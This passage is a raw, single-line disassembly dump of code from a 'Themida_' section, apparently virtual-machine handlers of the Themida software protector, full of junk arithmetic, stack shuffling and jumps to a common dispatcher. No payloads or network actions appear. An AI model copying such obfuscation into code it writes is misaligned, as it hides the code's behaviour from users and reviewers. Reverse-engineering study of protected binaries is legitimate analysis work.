pop ecx xor ebx, 225631FCh jmp loc_55BBC1 ; --------------------------------------------------------------------------- loc_55C70E: ; CODE XREF: Themida_:0055D0B6j not dh push ecx mov cl, 9Eh push 1D5h mov [esp], ebx jmp loc_55C28D ; --------------------------------------------------------------------------- loc_55C720: ; CODE XREF: Themida_:0055654Bj pop ebx shr ah, 5 add ah, 0D9h add ch, ah jmp loc_55A19F ; --------------------------------------------------------------------------- loc_55C72E: ; CODE XREF: Themida_:0055AAD3j sub esi, 681FFFFh and eax, esi pop esi shr eax, 12h xor eax, ecx push eax push 53B4h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_553A1D ; --------------------------------------------------------------------------- loc_55C764: ; CODE XREF: Themida_:00558806j push dword ptr [esp+4] mov edx, [esp] jmp loc_55D2A0 ; --------------------------------------------------------------------------- loc_55C770: ; CODE XREF: Themida_:0055D4D5j push esp mov edi, [esp] push esi mov esi, esp push ebx mov ebx, 4 jmp loc_55465A ; --------------------------------------------------------------------------- loc_55C782: ; CODE XREF: Themida_:005591AEj xchg edx, [esp] jmp loc_55B033 ; --------------------------------------------------------------------------- loc_55C78A: ; CODE XREF: Themida_:00551820j mov ebx, [esp] add esp, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_55861A ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_557F41 ; --------------------------------------------------------------------------- loc_55C7C7: ; CODE XREF: Themida_:0055C44Fj pop eax mov cl, bl pop ebx push edx jmp loc_55760A ; --------------------------------------------------------------------------- loc_55C7D1: ; CODE XREF: Themida_:005575ADj sub esp, 4 mov [esp], eax mov eax, 4 add ebx, eax mov eax, [esp] jmp loc_55A7B0 ; --------------------------------------------------------------------------- loc_55C7E6: ; CODE XREF: Themida_:00553258j push 2EF6h jmp loc_556413 ; --------------------------------------------------------------------------- loc_55C7F0: ; CODE XREF: Themida_:005528B9j pop eax push ecx mov ecx, 63E7440Fh jmp loc_559DA9 ; --------------------------------------------------------------------------- loc_55C7FC: ; CODE XREF: Themida_:0055458Ej mov [esp], ebx push 47D403A0h pop ebx add ebx, 0C06CCCh sub esp, 4 mov [esp], eax mov eax, 3A814410h and ebx, eax pop eax inc ebx dec ebx push ebx xchg ecx, [esp] not ecx xchg ecx, [esp] jmp loc_552522 ; --------------------------------------------------------------------------- loc_55C82C: ; CODE XREF: Themida_:00554878j mov [esp], ecx mov cl, 74h jmp loc_55BA07 ; --------------------------------------------------------------------------- loc_55C836: ; CODE XREF: Themida_:00559568j mov esi, 50933C3Ch mov ebx, 50933C3Eh jmp loc_5558FB ; --------------------------------------------------------------------------- loc_55C845: ; CODE XREF: Themida_:0055B44Dj shl ah, 3 jmp loc_5532F4 ; --------------------------------------------------------------------------- loc_55C84D: ; CODE XREF: Themida_:0055CE7Cj mov [esp], ebp jmp loc_5570B2 ; --------------------------------------------------------------------------- loc_55C855: ; CODE XREF: Themida_:00554DE6j pop ecx add esp, 4 add [esp+4], esi pop esi pop esi sub esi, 4A2706BBh push ebp mov ebp, esi push 51CAh jmp loc_55D2C5 ; --------------------------------------------------------------------------- loc_55C875: ; CODE XREF: Themida_:00551DABj add ch, 0C6h jmp loc_55B006 ; --------------------------------------------------------------------------- loc_55C87D: ; CODE XREF: Themida_:005558B3j sub ebx, eax jmp loc_55292D ; --------------------------------------------------------------------------- loc_55C884: ; CODE XREF: Themida_:00557D8Cj jmp loc_551368 ; --------------------------------------------------------------------------- loc_55C889: ; CODE XREF: Themida_:00556C14j push 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_55A0EF ; --------------------------------------------------------------------------- loc_55C8A2: ; CODE XREF: Themida_:00554CFBj mov [esp], edi mov edi, 7E397463h sub [esp+4], edi jmp loc_55818E ; --------------------------------------------------------------------------- loc_55C8B3: ; CODE XREF: Themida_:0055B118j push ebp push esp pop ebp add ebp, 4 push edi jmp loc_555C96 ; --------------------------------------------------------------------------- loc_55C8C2: ; CODE XREF: Themida_:00559533j push esi mov esi, 4 add ebx, esi pop esi xor ebx, [esp] jmp loc_55CC43 ; --------------------------------------------------------------------------- loc_55C8D3: ; CODE XREF: Themida_:005529CAj pop esp jmp loc_55D0C9 ; --------------------------------------------------------------------------- loc_55C8D9: ; CODE XREF: Themida_:00558DCCj push eax mov eax, 2F3E6386h add eax, 3024DC74h xor esi, eax pop eax sub esi, 2D28CD64h add eax, 765151DCh jmp loc_559038 ; --------------------------------------------------------------------------- loc_55C8F7: ; CODE XREF: Themida_:00553800j push ebx jmp loc_55A33D ; --------------------------------------------------------------------------- loc_55C8FD: ; CODE XREF: Themida_:0055B3AAj xor ebx, 0CE5300Dh jmp loc_5523D5 ; --------------------------------------------------------------------------- loc_55C908: ; CODE XREF: Themida_:0055BDBEj mov ecx, esp add ecx, 4 jmp loc_55C496 ; --------------------------------------------------------------------------- loc_55C915: ; CODE XREF: Themida_:00555DC9j pop esp and ebx, edi jmp loc_55A8D3 ; --------------------------------------------------------------------------- loc_55C91D: ; CODE XREF: Themida_:005570ADj inc edi sub edi, 84F04BFFh or edx, edi jmp loc_5534B4 ; --------------------------------------------------------------------------- loc_55C92B: ; CODE XREF: Themida_:0055AC56j not dword ptr [esp] pop esi xor eax, esi jmp loc_555AA4 ; --------------------------------------------------------------------------- loc_55C936: ; CODE XREF: Themida_:0055A6F0j mov [esp], dx mov dl, 0 mov ch, dl jmp loc_555E7B ; --------------------------------------------------------------------------- loc_55C943: ; CODE XREF: Themida_:00558A3Cj add ebx, 4 xor ebx, [esp] jmp loc_555071 ; --------------------------------------------------------------------------- loc_55C94E: ; CODE XREF: Themida_:00551C85j pop ecx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push ecx sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ecx push edx mov dl, al mov cl, dl pop edx jmp loc_554FAD ; --------------------------------------------------------------------------- loc_55C976: ; CODE XREF: Themida_:0055743Ej pop edx push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_55BDE2 ; --------------------------------------------------------------------------- loc_55C999: ; CODE XREF: Themida_:0055572Cj sub ch, bh sub ch, 0FAh jmp loc_554835 ; --------------------------------------------------------------------------- loc_55C9A3: ; CODE XREF: Themida_:005595BEj push eax mov eax, 51C748D6h jmp loc_5586F1 ; --------------------------------------------------------------------------- xchg eax, [esp] xchg eax, edx not edx push 4E5Fh mov [esp], eax sub esp, 4 jmp loc_553072 ; --------------------------------------------------------------------------- loc_55C9C4: ; CODE XREF: Themida_:00554212j mov ebx, esp push edx mov edx, 4 jmp loc_55CE4B ; --------------------------------------------------------------------------- loc_55C9D1: ; CODE XREF: Themida_:0055189Cj push ecx jmp loc_55D338 ; --------------------------------------------------------------------------- loc_55C9D7: ; CODE XREF: Themida_:0055CFF3j mov dh, 31h xchg bl, dh jmp loc_55B11D ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55C9E8: ; CODE XREF: Themida_:00553574j mov eax, esp add eax, 4 push 4F4Ch mov [esp], edx push ebp jmp loc_551DB0 ; --------------------------------------------------------------------------- loc_55C9FD: ; CODE XREF: Themida_:0055319Cj sub ebx, 7DAA5D34h sub ebx, ebp push esi mov esi, 303F345Bh not esi inc esi jmp loc_55185A ; --------------------------------------------------------------------------- loc_55CA13: ; CODE XREF: Themida_:005520B1j push edx push esp pop edx push eax jmp loc_55708E ; --------------------------------------------------------------------------- loc_55CA1C: ; CODE XREF: Themida_:00555180j mov ah, 0C1h jmp loc_555247 ; --------------------------------------------------------------------------- loc_55CA23: ; CODE XREF: Themida_:0055507Aj or [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CA2C: ; CODE XREF: Themida_:00553C68j push edi mov edi, 270978C2h not edi shl edi, 6 jmp loc_55CC71 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp jmp loc_559BB1 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CA61: ; CODE XREF: Themida_:0055CF55j shr ebx, 4 jmp loc_555190 ; --------------------------------------------------------------------------- loc_55CA69: ; CODE XREF: Themida_:00552A98j push ebx mov ebx, 4F2D4ECAh mov ecx, 6A78310Eh xor ecx, ebx pop ebx jmp loc_5525FE ; --------------------------------------------------------------------------- loc_55CA7C: ; CODE XREF: Themida_:005589D4j add ebx, edi mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_55B808 ; --------------------------------------------------------------------------- loc_55CA9C: ; CODE XREF: Themida_:005550B1j push ecx push esi push 261F56F7h pop esi jmp loc_55C40A ; --------------------------------------------------------------------------- loc_55CAA9: ; CODE XREF: Themida_:0055197Ej mov edx, ebp pop ebp mov esi, edx pop edx add esi, 3D600250h sub esi, 2B3C6101h jmp loc_552319 ; --------------------------------------------------------------------------- loc_55CAC0: ; CODE XREF: Themida_:00557AD5j mov [esp], eax push ebp push 534A3F34h mov ebp, [esp] add esp, 4 jmp loc_5533CA ; --------------------------------------------------------------------------- loc_55CAD4: ; CODE XREF: Themida_:0055B2A9j push eax jmp loc_55376C ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55B5A5 ; --------------------------------------------------------------------------- loc_55CAE3: ; CODE XREF: Themida_:00553150j sub esi, 0B6675337h sub esp, 4 jmp loc_55B269 ; --------------------------------------------------------------------------- loc_55CAF4: ; CODE XREF: Themida_:00559005j add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp movzx ecx, ax push 5330h mov [esp], ecx jmp loc_554181 ; --------------------------------------------------------------------------- loc_55CB17: ; CODE XREF: Themida_:0055CBB7j mov dh, 8 jmp loc_558DD1 ; --------------------------------------------------------------------------- loc_55CB1E: ; CODE XREF: Themida_:0055906Ej pop edi jmp loc_553B41 ; --------------------------------------------------------------------------- loc_55CB24: ; CODE XREF: Themida_:0055D35Cj pop ecx sub [esp+4], bx pop bx jmp loc_55B041 ; --------------------------------------------------------------------------- loc_55CB31: ; CODE XREF: Themida_:0055A250j pop esi add esi, edi pop edi xchg esi, [esp] pop esp push ecx jmp loc_559D4C ; --------------------------------------------------------------------------- loc_55CB3F: ; CODE XREF: Themida_:0055A1B7j push ebx push edx push 5F064471h jmp loc_5539E4 ; --------------------------------------------------------------------------- loc_55CB4B: ; CODE XREF: Themida_:00555090j add esi, edx pop edx xchg esi, [esp] mov esp, [esp] add esp, 4 bswap eax push esi push esp pop esi jmp loc_559BEB ; --------------------------------------------------------------------------- lodsd push ebx jmp loc_553DA6 ; --------------------------------------------------------------------------- loc_55CB68: ; CODE XREF: Themida_:005541E7j add esp, 4 add esi, 4 push 6B68h mov [esp], edi mov edi, 4 add esi, edi push dword ptr [esp] pop edi push ebp jmp loc_553FAE ; --------------------------------------------------------------------------- loc_55CB8A: ; CODE XREF: Themida_:00559C74j mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_55D195 ; --------------------------------------------------------------------------- loc_55CB97: ; CODE XREF: Themida_:00559B88j and bh, 2Ch shl bh, 2 jmp loc_55426C ; --------------------------------------------------------------------------- loc_55CBA2: ; CODE XREF: Themida_:0055CC0Bj xchg al, bl push edx mov dl, 90h shl dl, 7 sub dl, 1 jmp loc_5551A2 ; --------------------------------------------------------------------------- loc_55CBB2: ; CODE XREF: Themida_:00554D9Bj shl bh, 2 push dx jmp loc_55CB17 ; --------------------------------------------------------------------------- loc_55CBBC: ; CODE XREF: Themida_:0055799Cj xor edx, 0DCD6CAF6h sub eax, edx pop edx jmp loc_556FD9 ; --------------------------------------------------------------------------- loc_55CBCA: ; CODE XREF: Themida_:00552F84j pop edi dec edx not edx add edx, 72F584AFh jmp loc_554057 ; --------------------------------------------------------------------------- loc_55CBD9: ; CODE XREF: Themida_:00556C02j pop esi jmp loc_559EA0 ; --------------------------------------------------------------------------- loc_55CBDF: ; CODE XREF: Themida_:00559964j push 49CAh mov [esp], ecx jmp loc_557431 ; --------------------------------------------------------------------------- loc_55CBEC: ; CODE XREF: Themida_:00559F22j add edx, eax pop eax jmp loc_5544A8 ; --------------------------------------------------------------------------- loc_55CBF4: ; CODE XREF: Themida_:0055B954j mov dl, al pop eax xor dl, 0ABh sub dl, 0B1h add bl, dl pop edx dec bl sub bl, 71h not bl xchg al, bl not al jmp loc_55CBA2 ; --------------------------------------------------------------------------- loc_55CC10: ; CODE XREF: Themida_:00558697j pop ebp add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_55A270 ; --------------------------------------------------------------------------- loc_55CC21: ; CODE XREF: Themida_:0055B3E9j sub eax, 77E34D39h add eax, edi jmp loc_5521F0 ; --------------------------------------------------------------------------- loc_55CC2D: ; CODE XREF: Themida_:00559C16j add al, 0C6h jmp loc_556A9E ; --------------------------------------------------------------------------- loc_55CC34: ; CODE XREF: Themida_:0055320Aj pop eax push edx mov edx, 4 add edi, edx pop edx jmp loc_558BC1 ; --------------------------------------------------------------------------- loc_55CC43: ; CODE XREF: Themida_:0055C8CEj xor [esp], ebx jmp loc_55CEBC ; --------------------------------------------------------------------------- loc_55CC4B: ; CODE XREF: Themida_:0055CEA6j mov eax, 14806C7Dh and eax, 86B1FD4h shr eax, 3 add eax, 0FFFFFE7Ah add edi, eax jmp loc_552872 ; --------------------------------------------------------------------------- loc_55CC64: ; CODE XREF: Themida_:00551FBDj mov esp, [esp] inc word ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CC71: ; CODE XREF: Themida_:0055CA37j add edi, 2C463CAFh dec edi jmp loc_55B21C ; --------------------------------------------------------------------------- loc_55CC7D: ; CODE XREF: Themida_:005545BBj push eax mov eax, 0B4C7533h mov ecx, 0F4B38AE9h jmp loc_552C51 ; --------------------------------------------------------------------------- loc_55CC8D: ; CODE XREF: Themida_:00556B37j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5574CD ; --------------------------------------------------------------------------- loc_55CC9D: ; CODE XREF: Themida_:0055959Dj push edx mov edx, 7EFB614Fh mov ebp, edx jmp loc_5517B6 ; --------------------------------------------------------------------------- loc_55CCAA: ; CODE XREF: Themida_:00556A03j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg esi, [esp] pop esp cmp ecx, eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CCC3: ; CODE XREF: Themida_:0055C06Ej pop esp xor ebx, eax xor edx, eax jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CCCD: ; CODE XREF: Themida_:0055597Dj mov esp, [esp] jmp loc_5553E0 ; --------------------------------------------------------------------------- loc_55CCD5: ; CODE XREF: Themida_:00559A06j push eax mov eax, 0FFFFFFFFh mov ecx, eax jmp loc_5530E2 ; --------------------------------------------------------------------------- loc_55CCE2: ; CODE XREF: Themida_:00558C5Ej pop esi jmp loc_55B13D ; --------------------------------------------------------------------------- loc_55CCE8: ; CODE XREF: Themida_:00551463j mov [edi+40h], ebp push dword ptr [esp] pop ebp jmp loc_55C151 ; --------------------------------------------------------------------------- loc_55CCF4: ; CODE XREF: Themida_:00553729j pop edi xor eax, ebp pop ebp jmp loc_55C2D2 ; --------------------------------------------------------------------------- loc_55CCFD: ; CODE XREF: Themida_:00558491j push 5E05h mov [esp], ecx push ebx mov ebx, esp jmp loc_5565B6 ; --------------------------------------------------------------------------- loc_55CD0D: ; CODE XREF: Themida_:0055C3C3j mov edx, 4 add ebp, edx jmp loc_5534AD ; --------------------------------------------------------------------------- loc_55CD19: ; CODE XREF: Themida_:0055889Fj add ebp, 1A3B1BA9h add ebp, esi sub ebp, 1A3B1BA9h pop esi add ebp, 2 jmp loc_558828 ; --------------------------------------------------------------------------- loc_55CD30: ; CODE XREF: Themida_:00559E2Ej mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55153E ; --------------------------------------------------------------------------- loc_55CD47: ; CODE XREF: Themida_:00555C74j and eax, 3D01749Dh sub eax, 19001480h mov ebx, eax pop eax jmp loc_55BD64 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], esi push ebp jmp loc_558A41 ; --------------------------------------------------------------------------- loc_55CD69: ; CODE XREF: Themida_:0055B609j mov ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_559528 ; --------------------------------------------------------------------------- loc_55CD79: ; CODE XREF: Themida_:00552E4Aj mov ecx, esp sub esp, 4 mov [esp], esi mov esi, 517E2511h push edx mov edx, 1A504B73h sub edx, 36F4672Bh sub edx, 260935A4h sub edx, 6F5274ABh sub esi, edx pop edx push edi mov edi, 9F02031h and esi, edi jmp loc_557A76 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push esp jmp loc_55C397 ; --------------------------------------------------------------------------- loc_55CDB9: ; CODE XREF: Themida_:005587E3j add ecx, 3ED3038h add ecx, ebx sub ecx, 3ED3038h pop ebx sub esp, 4 mov [esp], ebx push edx mov edx, 0C1B3EF6h xor edx, 0C1B3EF4h mov ebx, edx pop edx add ecx, ebx mov ebx, [esp] jmp loc_558E48 ; --------------------------------------------------------------------------- loc_55CDEA: ; CODE XREF: Themida_:00554EB6j push dword ptr [esp] jmp loc_55AA40 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_552087 sub esi, 0E4D4BCCh add esi, eax push ecx push 18CF718Bh pop ecx neg ecx push edi push 0E97DC5B9h jmp loc_551865 ; --------------------------------------------------------------------------- loc_55CE19: ; CODE XREF: Themida_:0055A0D4j mov ecx, 4 sub dword ptr [esp+4], 44F62A43h add [esp+4], ecx push ebp jmp loc_5518C7 ; --------------------------------------------------------------------------- loc_55CE30: ; CODE XREF: Themida_:0055AF25j not dword ptr [esp] pop ebx xchg ebx, esi sub esi, 5D1312EEh inc esi add esi, 1 sub esi, 12EE2FF3h jmp loc_552E17 ; --------------------------------------------------------------------------- loc_55CE4B: ; CODE XREF: Themida_:0055C9CCj add ebx, edx pop edx sub ebx, 4 jmp loc_556901 ; --------------------------------------------------------------------------- loc_55CE56: ; CODE XREF: Themida_:005524ACj add eax, 753730F3h sub eax, 4AD3F0Ch sub eax, ebp add eax, 4AD3F0Ch sub eax, 753730F3h add eax, 790438C2h mov ebp, [esp] add esp, 4 push 3510h jmp loc_55C84D ; --------------------------------------------------------------------------- loc_55CE81: ; CODE XREF: Themida_:0055A97Dj shr esi, 7 xor esi, 228E86F0h mov ecx, esi pop esi mov ebx, 23617DAFh xor ebx, ecx mov ecx, [esp] push ecx jmp loc_5571DA ; --------------------------------------------------------------------------- loc_55CE9D: ; CODE XREF: Themida_:00556AF5j jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CEA2: ; CODE XREF: Themida_:00557482j add edi, eax pop eax push eax jmp loc_55CC4B ; --------------------------------------------------------------------------- loc_55CEAB: ; CODE XREF: Themida_:00551732j mov bl, 88h mov al, bl pop bx sub ch, 8Ah sub ch, 0F0h jmp loc_554971 ; --------------------------------------------------------------------------- loc_55CEBC: ; CODE XREF: Themida_:0055CC46j xor ebx, [esp] mov esp, [esp] jmp loc_553BC7 ; --------------------------------------------------------------------------- loc_55CEC7: ; CODE XREF: Themida_:0055269Aj add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push eax mov eax, 633739F2h jmp loc_555D22 ; --------------------------------------------------------------------------- loc_55CEDF: ; CODE XREF: Themida_:00556953j jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CEE4: ; CODE XREF: Themida_:005595AEj inc ecx push 1693h mov [esp], edx mov edx, 54604A3Eh neg edx or edx, 2EED3DD4h and edx, 76BB0EBEh neg edx dec edx sub edx, 0C2D4D0DAh jmp loc_556B0B ; --------------------------------------------------------------------------- loc_55CF0E: ; CODE XREF: Themida_:00556B6Cj mov ch, al mov dl, ch pop ecx jmp loc_559C0D ; --------------------------------------------------------------------------- loc_55CF18: ; CODE XREF: Themida_:00553E32j mov esp, [esp] mov [esp], esi jmp loc_55B842 ; --------------------------------------------------------------------------- loc_55CF23: ; CODE XREF: Themida_:005522A2j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55AAD8 ; --------------------------------------------------------------------------- loc_55CF37: ; CODE XREF: Themida_:0055842Dj ror word ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CF41: ; CODE XREF: Themida_:00553771j mov ebp, eax pop eax add [esp+4], ebp pop ebp push ecx jmp loc_554CBC ; --------------------------------------------------------------------------- loc_55CF4F: ; CODE XREF: Themida_:0055480Aj push ebx mov ebx, 17977F27h jmp loc_55CA61 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55CF62: ; CODE XREF: Themida_:00551387j push esi mov esi, 6DB233F9h push ebp mov ebp, 1FCE6CA0h jmp loc_5542E3 ; --------------------------------------------------------------------------- loc_55CF73: ; CODE XREF: Themida_:0055D14Bj inc esi add esi, 297A3688h or esi, 41D60880h jmp loc_558EFE ; --------------------------------------------------------------------------- loc_55CF85: ; CODE XREF: Themida_:0055C15Ej mov ecx, 4 mov edi, ecx jmp loc_5529B1 ; --------------------------------------------------------------------------- loc_55CF91: ; CODE XREF: Themida_:0055214Aj xor eax, [esp] mov esp, [esp] jmp loc_554C47 ; --------------------------------------------------------------------------- loc_55CF9C: ; CODE XREF: Themida_:005586D3j add esp, 2 pop dx xchg di, [esp] jmp loc_5558B8 ; --------------------------------------------------------------------------- loc_55CFAA: ; CODE XREF: Themida_:00559BE6j add eax, 2FC54FE5h jmp loc_55BA72 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_55148F ; --------------------------------------------------------------------------- loc_55CFBF: ; CODE XREF: Themida_:0055D19Ej add edi, 4 sub esp, 4 mov [esp], ecx mov ecx, 2 jmp loc_554C4E ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_55177D ; --------------------------------------------------------------------------- loc_55CFED: ; CODE XREF: Themida_:0055750Fj mov cl, ah pop eax not cl push edx jmp loc_55C9D7 ; --------------------------------------------------------------------------- loc_55CFF8: ; CODE XREF: Themida_:005565B1j mov ecx, 48B5E6Bh push ecx neg dword ptr [esp] pop ecx jmp loc_551B66 ; --------------------------------------------------------------------------- loc_55D007: ; CODE XREF: Themida_:00558CD5j mov ebp, 1F0912A0h xor ebx, ebp mov ebp, [esp] add esp, 4 push esi push eax push 2B482998h pop eax add eax, 14D808A4h mov esi, eax jmp loc_55A92B ; --------------------------------------------------------------------------- loc_55D028: ; CODE XREF: Themida_:0055250Ej add edx, eax sub edx, 7CD728CFh pop eax sub edx, 602D45D8h jmp loc_551368 ; --------------------------------------------------------------------------- loc_55D03C: ; CODE XREF: Themida_:00556179j sub eax, ebx add eax, 65173CA7h pop ebx jmp loc_55BA7E ; --------------------------------------------------------------------------- loc_55D049: ; CODE XREF: Themida_:0055745Dj mov [esp], eax mov eax, esp add eax, 4 jmp loc_5558AC ; --------------------------------------------------------------------------- loc_55D058: ; CODE XREF: Themida_:00556B75j push 6DBCA623h pop esi push edx mov edx, 47821091h add ebp, edx pop edx sub ebp, esi sub ebp, 47821091h pop esi sub eax, ebp pop ebp jmp loc_557761 ; --------------------------------------------------------------------------- lodsd push ebx jmp loc_55C343 ; --------------------------------------------------------------------------- loc_55D07F: ; CODE XREF: Themida_:00555A58j add eax, edi mov edi, [esp] push eax mov eax, esp push ecx jmp loc_556F7B ; --------------------------------------------------------------------------- lodsw add ax, 29F1h sub ax, 51DCh add ax, bx push di mov di, 51DCh add ax, di jmp loc_55B7DA ; --------------------------------------------------------------------------- loc_55D0A8: ; CODE XREF: Themida_:0055B7AFj mov al, dh jmp loc_553F4F ; --------------------------------------------------------------------------- loc_55D0AF: ; CODE XREF: Themida_:0055692Fj sub dh, 28h pop bx dec dh jmp loc_55C70E ; --------------------------------------------------------------------------- loc_55D0BB: ; CODE XREF: Themida_:0055386Dj xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_55B71F ; --------------------------------------------------------------------------- loc_55D0C9: ; CODE XREF: Themida_:0055C8D4j push esp jmp loc_55B4E6 ; --------------------------------------------------------------------------- loc_55D0CF: ; CODE XREF: Themida_:005540CAj push edi mov edi, 4 push 11A8h mov [esp], edx mov edx, 6D7443FAh xor edx, 7E367029h sub ebp, edx pop edx add ebp, edi push edx mov edx, 58314821h jmp loc_55A004 ; --------------------------------------------------------------------------- loc_55D0F8: ; CODE XREF: Themida_:00554775j mov edx, 4 add ebx, edx jmp loc_555381 ; --------------------------------------------------------------------------- loc_55D104: ; CODE XREF: Themida_:0055D2E8j pop esp jmp loc_551368 ; --------------------------------------------------------------------------- loc_55D10A: ; CODE XREF: Themida_:0055C6D7j mov edx, 6B443ECDh jmp loc_556ED1 ; --------------------------------------------------------------------------- loc_55D114: ; CODE XREF: Themida_:005590C0j pop esp jmp loc_5555EB ; --------------------------------------------------------------------------- loc_55D11A: ; CODE XREF: Themida_:0055B973j not dword ptr [esp] mov ebp, [esp] add esp, 4 dec ebp shl ebp, 1 jmp loc_553537 ; --------------------------------------------------------------------------- loc_55D12B: ; CODE XREF: Themida_:0055AFAFj push 6E0E5527h pop eax xor ecx, eax pop eax jmp loc_551B9E ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push edx mov edx, esp push esi mov esi, 26FB4E22h dec esi shr esi, 3 jmp loc_55CF73 ; --------------------------------------------------------------------------- loc_55D150: ; CODE XREF: Themida_:0055B121j dec dh xor dh, 0E8h sub cl, dh pop edx shr cl, 2 dec cl push bx mov bl, 47h add cl, bl pop bx add bl, cl pop ecx jmp loc_55642F ; --------------------------------------------------------------------------- loc_55D16D: ; CODE XREF: Themida_:005554CDj sub eax, 0F4EF1258h sub edx, eax pop eax add edx, edi push ebx mov ebx, 0F1332E8h add edx, ebx mov ebx, [esp] add esp, 4 mov ecx, [edx] pop edx push 1 push dword ptr [esp] jmp loc_55281E ; --------------------------------------------------------------------------- loc_55D195: ; CODE XREF: Themida_:0055CB92j pop dword ptr [esp] pop esp mov [esp], edi mov edi, esp jmp loc_55CFBF ; --------------------------------------------------------------------------- loc_55D1A3: ; CODE XREF: Themida_:0055617Fj push edi mov edi, 3F3B48F5h dec edi xor edi, 8B76E54h sub edx, edi pop edi add edx, 0FE885708h push esi mov esi, 2F497EF2h inc esi or esi, 226065E2h jmp loc_552644 ; --------------------------------------------------------------------------- loc_55D1CB: ; CODE XREF: Themida_:00555AF2j xor [esp], edx jmp loc_552C8D ; --------------------------------------------------------------------------- loc_55D1D3: ; CODE XREF: Themida_:0055D411j pop esp mov [esp], ecx jmp loc_559654 ; --------------------------------------------------------------------------- loc_55D1DC: ; CODE XREF: Themida_:00558C58j not edx xchg edx, ecx jmp loc_55732F ; --------------------------------------------------------------------------- loc_55D1E5: ; CODE XREF: Themida_:0055624Bj add ecx, edi pop edi add eax, ecx pop ecx add eax, 4 xchg eax, [esp] pop esp add eax, 2 xchg eax, [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55D208: ; CODE XREF: Themida_:005530ABj mov [esp], ebp sub esp, 4 jmp loc_553D50 ; --------------------------------------------------------------------------- loc_55D216: ; CODE XREF: Themida_:00553972j mov esi, [esp] jmp loc_55C2CA ; --------------------------------------------------------------------------- loc_55D21E: ; CODE XREF: Themida_:0055A323j pop eax push esi jmp loc_558C08 ; --------------------------------------------------------------------------- loc_55D225: ; CODE XREF: Themida_:00553E91j shr ebx, 8 not ebx xor ebx, 0FFCEB0EDh sub esp, 4 mov [esp], ebx jmp loc_55ADD5 ; --------------------------------------------------------------------------- loc_55D23E: ; CODE XREF: Themida_:0055AD70j dec edx sub edx, 8CA9FE41h mov ebp, edx pop edx add edx, ebp pop ebp shl edx, 8 add edx, 7F074AA1h sub esp, 4 mov [esp], ecx mov ecx, 509F8D5Fh add edx, 4C3B32E0h jmp loc_559405 ; --------------------------------------------------------------------------- loc_55D26A: ; CODE XREF: Themida_:00556DEEj push 742Fh mov [esp], ebx sub esp, 4 mov [esp], esp jmp loc_55C38E ; --------------------------------------------------------------------------- loc_55D280: ; CODE XREF: Themida_:00553F55j add esp, 4 push ecx mov cl, bh mov dl, cl pop ecx pop ebx jmp loc_55A14B ; --------------------------------------------------------------------------- loc_55D292: ; CODE XREF: Themida_:005548D6j mov [esp], ecx jmp loc_551DA9 ; --------------------------------------------------------------------------- loc_55D29A: ; CODE XREF: Themida_:00552D32j push esp jmp loc_5593E1 ; --------------------------------------------------------------------------- loc_55D2A0: ; CODE XREF: Themida_:0055C76Bj add esp, 4 pop dword ptr [esp] pop esp jmp loc_5546CD ; --------------------------------------------------------------------------- loc_55D2AF: ; CODE XREF: Themida_:005519A9j xchg ebp, [esp] pop esp jmp loc_551429 ; --------------------------------------------------------------------------- loc_55D2B8: ; CODE XREF: Themida_:00557099j push ebx mov bh, ah push eax mov al, bh mov [edx], al jmp loc_557487 ; --------------------------------------------------------------------------- loc_55D2C5: ; CODE XREF: Themida_:0055C870j mov [esp], edx jmp loc_552973 ; --------------------------------------------------------------------------- loc_55D2CD: ; CODE XREF: Themida_:0055B222j sub ebx, edi pop edi add edi, ebx pop ebx push 18CAh jmp loc_552562 ; --------------------------------------------------------------------------- loc_55D2DD: 